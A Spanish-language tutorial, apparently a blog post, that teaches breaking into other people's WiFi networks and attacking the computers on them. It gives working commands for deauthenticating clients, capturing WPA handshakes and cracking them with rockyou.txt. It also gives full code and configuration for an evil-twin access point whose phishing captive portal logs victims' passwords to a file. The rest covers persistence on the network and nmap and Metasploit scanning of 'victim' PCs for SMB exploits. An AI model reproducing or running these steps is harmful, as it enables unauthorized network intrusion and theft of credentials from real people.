Bajate BlackArch, KaliLinux o si tenés Arch agregale el repo de BlackArch. Instalá wifite, airgeddon, fluxion.
sudo wifite
sudo airgeddon
Primero de todo: Problemas comunes con airgeddon
VIF (Interfaz virtual) es la capacidad de dividir una tarjeta física en 2 tarjetas lógicas. Esto se utiliza durante los ataques de Evil Twin para que uno actúe como AP y el otro realice DoS en modo monitor. Desde airgeddon>=10.42 hay un control integrado para esto antes de lanzar cualquier ataque de Evil Twin.
Para verificar manualmente si su tarjeta es compatible con VIF, ejecute este comando sudo iw list | grep "Supported interface modes" -A 8
(este comando distingue entre mayúsculas y minúsculas y si se escribe mal dará como resultado una salida incorrecta o ninguna) y debería ver en la salida AP/VLAN (solo AP no es suficiente), de lo contrario, su La tarjeta no admite el VIF requerido.
Por lo general, los conjuntos de chips Realtek (RTL) no tienen capacidad VIF y no se recomiendan para piratería inalámbrica. No los confunda con los conjuntos de chips Ralink (RT), estos últimos suelen ser compatibles y recomendados con VIF. Consulte la lista de chipsets/tarjetas compatibles con VIF en pleno funcionamiento acá.
Si tiene más de una tarjeta wifi y ninguna admite VIF o es una tarjeta o chipset en la lista negra, pero al menos una admite el modo AP y ambas admiten el modo monitor, puede intentar usar este plugin para usar 2 tarjetas en airgeddon en lugar de una tarjeta compatible con VIF. . Uno para el AP falso y otro para realizar DoS. Puede encontrar información sobre el uso de complementos acá.
Acá están las tarjetas en la lista negra: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Cards%20and%20Chipsets
Obtené información de tu tarjeta de red con el siguiente comando: lspci -nnk | grep -A2 0280
o sudo lshw -C network
Usando wifite lo hace todo automáticamente ejecuta ataques de WPS y captura el handshake y e intenta descubrir la contraseña con un diccionario, sólo tenés que elegir la red a atacar.
Capturá el handskake (el archivo que contiene la contraseña cifrada)
sudo airgeddon
deauth / disassoc amok mdk4 attack
/root/handshake-....cap
, luego necesitarás para hacer el ataque de gemelo malvado.Usá el diccionario rockyou.txt que viene en kalilinux o bajalo.
Si estás en kali ejecutá wordlists. Y te tira el directorio en donde está rockyou.txt.gz tenes que descomprimirlo
Intentá descubrir la contraseña con un diccionario ejecutando este comando:
sudo aircrack-ng -w rockyou.txt /root/handshake-MAC.cap
Es todo automático. Crea un punto de acceso falso con el mismo nombre del wifi de la víctima para engañarlo haciéndola creer que su WiFi. Ejecutálo como root elegí el SSID y esperá a la victima. Es una técnica más de “ingeniería social” porque es como salir a pescar. Pero a diferencia de hacer un ataque de evil twin con airgeddon o fluxion no usa el handshake, el handshake se utiliza para verificar si la contraseña que te dió la víctima es correcta.
El metodo gemelo malvado consiste en crear varias redes wifis con el mismo nombre deautentica al usuario y le hace creer que su internet no funciona te conectás a mi wifi creyendo que es la tuya y te tira un mensaje de que el firmware se está actualizando y te pido la contraseña, es un ataque más de ingeniería social. Pero funciona.
Este ataque se puede realizar con fluxion
o con airgeddon
Instalá apache y bajo /var/www/html
creá un archivo llamado passwords.txt
index.php:
<?php
if(isset($_POST['button'])){
if(isset($_POST['password']) && !empty($_POST['password'])){
$password = $_POST['password'];
echo 'Please wait for validation of password key: '.$password.'<br>';
$fp =fopen('passwords.txt', 'a');
fwrite($fp, $password);
fwrite($fp, "\n");
fclose($fp);
}else {
echo "Wifi password cannot be empty<br>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Wifi Service</title>
<style>
body{
font-family: Arial, Helvetica, sans-serif;
text-align: center;
background-color: #d5dbdb ;
padding: 20px;
}
button{
padding: 10px;
}
#connecting{
visibility: hidden;
}
</style>
</head>
<body>
<div id="password-form">
<img src="/wifi-icon3.png" alt="" width="180vw">
<p>Your wifi key needs to be revalidated for security reasons.</p>
<form method="post" action="index.php" id="mform">
<p>Please enter your modem's WPA wifi key to connect to the Internet: </p>
<input type="text" name="password" size="35%">
<p><input type="submit" name="button" value="Connect"></p>
</form>
</div>
</body>
</html>
Guardá este ícono con el mismo nombre en /var/www/html
Al archivo PHP llamalo index.php y dale permisos de escritura y lectura con chmod -R 777 index.php
service apache2 start
La contraseña se guardará en passwords.txt
Con ip a
obtené tu dirección IP local.
hostapd
y dnsmasq
sudo apt install -y hostapd dnsmasq
Usá estos archivos de configuración para el dnsmasq y el hostapd
#Set the wifi interface
interface=wlan0
#Set the IP range that can be given to clients
dhcp-range=10.0.0.10,10.0.0.100,8h
#Set the gateway IP address
dhcp-option=3,10.0.0.1
#Set dns server address
dhcp-option=6,10.0.0.1
#Redirect all requests to 10.0.0.1
address=/#/10.0.0.1
#Set wifi interface
interface=wlan0
#Set network name
ssid=iot-lab
#Set channel
channel=1
#Set driver
driver=nl80211
sudo su
service network-manager stop # En algunas distros es NetworkManager
airmong-ng check kill # Para comprobar que fue detenido
Con el dnsmasq vamos a redireccionar todo el tráfico a 10.0.0.1
.
Donde /24
indica que los primeros 24 bits son bits de red, dejando los 8 bits restantes para direcciones de host dentro de ese bloque.
En la mayoría de distros ifconfig ya está obsoleto y tendrás que usar el comando ip
:
ifconfig wlan0 10.0.0.1/24
ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
Ejecutá ifconfig para comprobar que se guardó la configuración.
route -n
route add default gw 10.0.0.1 # gw hace referencia a gateway
route -n # Para confirmar que se agregó la ruta
Ahora ejecutamos dnsmasq con el archivo de configuración mostrado anteriormente.
sudo dnsmasq -C /root/eviltwinfiles/dnsmasq.conf
Y creamos el punto de acceso WiFi.
sudo hostapd /root/eviltwinfiles/hostapd.conf
Luego ejecutamos el servidor apache en donde contiene nuestro portal captivo.
sudo us
service apache start
Ahora si te conectás a la WiFi todos las contraseñas que ingresen a través de ese portal se guardaran en passwords.txt
Cuando entres a tu WiFi falsa e intentes ingresar a gmail.com y facebook.com no te redireccionará a tu portal cautivo porque usan el protocolo HSTS.
service hostapd stop
service dnsmasq stop
service apache2 stop
service rpcbind stop
killall dnsmasq # o pkill dnsmasq
killall hostapd # o pkill hostapd
netstat -tan # Para confirmar que los servicios se hayan detenido.
service network-manager start
Y listo ya deberías haber detenido el ataque y volver a tener internet.
Usá este archivo de configuración de apache (/etc/apache2/sites-available
)
ports.conf:
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
Listen 443
Ahora copia esta configuración de 000-default.conf en tu apache 000-default.conf
<VirtualHost *:80>
ErrorDocument 404 /
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost *:443>
SSLEngine On
SSLCertificateFile /root/certs/cert.pem
SSLCertificateKeyFile /root/certs/cert.key
</VirtualHost>
<Directory "/var/www/html">
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ / [L,QSA]
</Directory>
Ahora ejecutá
sudo su
mkdir /root/certs/
openssl req -new -x509 -days 365 -out /root/certs/cert.pem -keyout /root/certs/cert.key # Usá la contraseña 123456, en ciudad, localidad, provincia, nombre de organización, email poné cualquier cosa.
### Habilitá los módules en el servidor de apache
a2enmod rewrite
a2enmod ssl
systemctl restart apache
Ejecutá netstat -tan
para comprobar que el puerto 443 esté a la escucha.
Ahora intentá ingresar a https://localhost
Este es un script que resume lo que vinimos haciendo, para iniciar el ataque ejecuten:
fake-ap-start.sh:
#!/bin/sh
service network-manager stop
airmon-ng check kill
ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
route add default gw 10.0.0.1
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
dnsmasq -C /root/eviltwinfiles/dnsmasq.conf
hostapd /root/eviltwinfiles/hostapd.conf -B
service apache2 start
Ahora si nos conectamos a nuestra WiFi falsa e ingresamos a gmail, yahoo, o facebook nos va a redirigir a nuestro portal cautivo, en donde la victima ingresará su contraseña y se guardará en /var/www/html/passwords.txt
Podés ejecutar este script para detener el ataque.
fake-ap-stop.sh
#!/bin/sh
service hostapd stop
service apache2 stop
service dnsmasq stop
service rpcbind stop
killall dnsmasq
killall hostapd
Luego service network-manager start
Y tu internet debería volver a funcionar.
¿Qué es el handshake? Una serie de 4 paquetes intercambiados entre el cliente y el punto de acceso durante un establecimiento de conexión. El handshake contiene la contraseña cifrada. Sólo podemos capturar el handshake cuando el cliente se conecta a la WiFi, no cuando ya está conectado.
service network-manager stop
airmon-ng check kill # comprobamos que se mató el proceso
airmon-ng start wlan1 # o wlan0 para ponerlo en modo monitor, en modo monitor tu internet dejará de funcionar, salvo que tengas dos antenas wifi.
iwconfig
airmon-ng stop wlan1mon # Para detener el modo monitor
airodump-ng wlan1mon # Para escuchar paquetes (tiene que estar en modo monitor) de ahí elegí la mac address de cualquier red para usarla en el siguiente comando.
Ahora podemos crear una carpeta para guardar el handshake
```console
mkdir handshake
cd handshake
airodump-ng wlan1mon --bssid 1C:5F:2B:E7:77:EA --channel 11 --write handshake --output-format cap
Cuando el handshake es capturado se guardará en el directorio en donde estás situado.
aireplay-ng --deauth 0 -a 1C:5F:2B:E7:77:EA -c 40:E2:30:CC:1E:8D wlan1mon # donde -a es el SSID y -c es el cliente.
aircrack-ng handshake.cap -w passwords.txt
En KaliLinux hay un diccionario muy conocido que se llama rockyou.txt y otros diccionarios que se pueden ver ejecutando el comando wordlists
.
### Detener la captura del handshake:
```bash
sudo airmon-ng stop wlan1mon (detiene el modo monitor de la wifi)
service network-manager start
sudo su
service network-manager stop
airmon-ng check kill
airodump-ng start wlan0mon
iwconfig # Para verificar que nuestra wlan0 esté en monitor mode.
airodump-ng wlan0mon
Ahora arriba apareceran los SSID y abajo los clientes conectados a esas SSID
airodump-ng wlan0mon --bssid direccion_mac_encontrada_con_el_comando_anterior --channel numero_del_canal_encontrado_en_el_comando_anterior
Así encontraremos los clientes conectados a esa WiFi.
Ahora los deautenticamos.
aireplay-ng --deauth 0 -a 1C:5F:2B:E7:77:EA -c 40:E2:30:CC:1E:8D wlan1mon
Ahora ejecutamos nuestro fake-ap-start.sh
Para detenerlo fake-ap-stop.sh
y luego service network-manager start
Una técnica para no perder el acceso puede ser levantar una red wifi invitado OCULTA no difundas el SSID (guest network) y habilitar acceso a través de WPS por PIN.
Una vez que conseguimos el acceso a la WiFi, estaría bueno tener acceso también a las computadoras por si las dudas en un futuro cambian la contraseña. Para ello utilizaremos metasploit. Primero hacemos un escaneo de todas las PCs conectadas a esa WiFi con el siguiente comando.
nmap -sP 192.168.1.0/24 # Generalmente es 192.168.1 pero puede variar mirá tu ip con el comando ip a
msfconsole
msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.1/24
Más información: https://thelinuxcode.com/scan-vulnerabilities-metasploit/
Archive: https://archive.is/wip/JgyL7
Ahora detectemos que sistema operativo están ejecutando esas computadoras (Android, Windows o Linux para poder encontrar una vulnerabilidad para ese sistema operativo)
Existen varios métodos: https://archive.is/wbYBK
nmap -sS -O IPs_VICTIMAS_SEPARADAS_POR_ESPACIOS
O hacé un escaneo masivo usando: $ nmap -T4 -A 192.168.0.0/24
Acá tienen una lista de comandos de tipos de escaneos que pueden realizar con nmap: https://archive.is/wip/VisbY
$ curl cheat.sh/
# Single target scan:
nmap [target]
# Scan from a list of targets:
nmap -iL [list.txt]
# iPv6:
nmap -6 [target]
# OS detection:
nmap -O --osscan_guess [target]
# Save output to text file:
nmap -oN [output.txt] [target]
# Save output to xml file:
nmap -oX [output.xml] [target]
# Scan a specific port:
nmap -source-port [port] [target]
# Do an aggressive scan:
nmap -A [target]
# Speedup your scan:
# -n => disable ReverseDNS
# --min-rate=X => min X packets / sec
nmap -T5 --min-parallelism=50 -n --min-rate=300 [target]
# Traceroute:
nmap -traceroute [target]
# Ping scan only: -sP
# Don't ping: -PN <- Use full if a host don't reply to a ping.
# TCP SYN ping: -PS
# TCP ACK ping: -PA
# UDP ping: -PU
# ARP ping: -PR
# Example: Ping scan all machines on a class C network
nmap -sP 192.168.0.0/24
# Force TCP scan: -sT
# Force UDP scan: -sU
# Use some script:
nmap --script default,safe
# Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts.
nmap --script default,banner,/home/user/customscripts
# Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy.
nmap --script 'http-*'
# Loads every script except for those in the intrusive category.
nmap --script "not intrusive"
# Loads those scripts that are in both the default and safe categories.
nmap --script "default and safe"
# Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.
nmap --script "(default or safe or intrusive) and not http-*"
# Scan for the heartbleed
# -pT:443 => Scan only port 443 with TCP (T:)
nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1
# Show all informations (debug mode)
nmap -d ...
# Scan for available SSH connections (use root for additional output)
nmap -p 22 192.168.0.0/24
## Port Status Information
- Open: This indicates that an application is listening for connections on this port.
- Closed: This indicates that the probes were received but there is no application listening on this port.
- Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering.
- Unfiltered: This indicates that the probes were received but a state could not be established.
- Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
- Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.
## Additional Scan Types
nmap -sn: Probe only (host discovery, not port scan)
nmap -sS: SYN Scan
nmap -sT: TCP Connect Scan
nmap -sU: UDP Scan
nmap -sV: Version Scan
nmap -O: Used for OS Detection/fingerprinting
nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order
### Nmap Scripting Engine Categories
The most common Nmap scripting engine categories:
- auth: Utilize credentials or bypass authentication on target hosts.
- broadcast: Discover hosts not included on command line by broadcasting on local network.
- brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc.
- default: Scripts run automatically when -sC or -A are used.
- discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more.
- dos: May cause denial of service conditions in target hosts.
- exploit: Attempt to exploit target systems.
- external: Interact with third-party systems not included in target list.
- fuzzer: Send unexpected input in network protocol fields.
- intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion.
- malware: Look for signs of malware infection on the target hosts.
- safe: Designed not to impact target in a negative fashion.
- version: Measure the version of software or protocols on the target hosts.
- vul: Measure whether target systems have a known vulnerability.
tldr:nmap
# nmap
# Network exploration tool and security / port scanner.
# Some features only activate when Nmap is run with root privileges.
# More information: <https://nmap.org>.
# Check if an IP address is up, and guess the remote host's operating system:
nmap -O ip_or_hostname
# Try to determine whether the specified hosts are up (ping scan) and what their names are:
nmap -sn ip_or_hostname optional_another_address
# Also enable scripts, service detection, OS fingerprinting and traceroute:
nmap -A address_or_addresses
# Scan a specific list of ports (use '-p-' for all ports from 1 to 65535):
nmap -p port1,port2,...,portN address_or_addresses
# Perform service and version detection of the top 1000 ports using default NSE scripts; writing results ('-oN') to output file:
nmap -sC -sV -oN top-1000-ports.txt address_or_addresses
# Scan target(s) carefully using 'default and safe' NSE scripts:
nmap --script "default and safe" address_or_addresses
# Scan web server running on standard ports 80 and 443 using all available 'http-*' NSE scripts:
nmap --script "http-*" address_or_addresses -p 80,443
# Perform a stealthy very slow scan ('-T0') trying to avoid detection by IDS/IPS and use decoy ('-D') source IP addresses:
nmap -T0 -D decoy1_ipaddress,decoy2_ipaddress,...,decoyN_ipaddress address_or_addresses
Otro tutorial para detectar el sistema operativo de tu víctima usando metasploit
OS fingerprinting with Metasploit
Dependiendo del sistema operativo que usen y los puertos abiertos tenemos millones de exploits para elegir. Por torrent usando qbittorrent y jackket también podemos encontrar diferentes técnicas para vulnerar Windows 7/8/10. Una de las vulnerabilidades que recuerdo es en el protocolo SAMBA. En YouTube hay miles de videos (muchos borrados sobre como acceder a computadoras con Windows).
Ejemplo detectar sistema operativo de una PC
sudo msfconsole
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.100.28
set threads 50
show options
set PORTS 445 # opcional
set PORTS 1-65535 # opcional
run
Si el puerto 445 está abierto haremos lo siguiente.
use scanner/smb/smb_version
set RHOSTS 192.168.100.28
run
Y nos dirá que versión de Windows es
O usamos portscan tcp
sudo msfconsole
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.28 # pc victima
set threads 20
show options
set PORTS 1-65535 # opcional
run
service postgreqsql start
msfdb init
msfconsole
db_nmap -v -sV 192.168.0.120
db_nmap -sS -Pn -A 192.168.0.120
use scanner/ssh/ssh_version
set RHOSTS 192.168.0.120
set THREADS 50
run
search name:httpd
nmap -Pn --script vuln <<Target_computer_ip_address>>
search vuln
# Seleccioná tu vulnerabilidad
use auxiliary/scanner/...
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/smtp/smtp_enum
use auxiliary/scanner/ssh/ssh_cipher_enum
use auxiliary/scanner/mssql/mssql_ping
Acá dejo un tuto: Samba Server Exploitation Using NMAP and Metasploit
https://youtube.com/watch?v=y4-oIl6bkbE
https://youtube.com/watch?v=4PGjyKhYzdY
Y acá una guía de metasploit: https://youtube.com/playlist?list=PLBf0hzazHTGN31ZPTzBbk70bohTYT7HSm
Google y YouTube borraron miles de videos de hacking así que pueden buscar tutoriales sobre metasploit también por torrent usando qBittorrent y jackket.
Si capturaron el handshake y tienen una computadora muy lenta lo pueden subir a arg-wireless y le correrán un diccionario.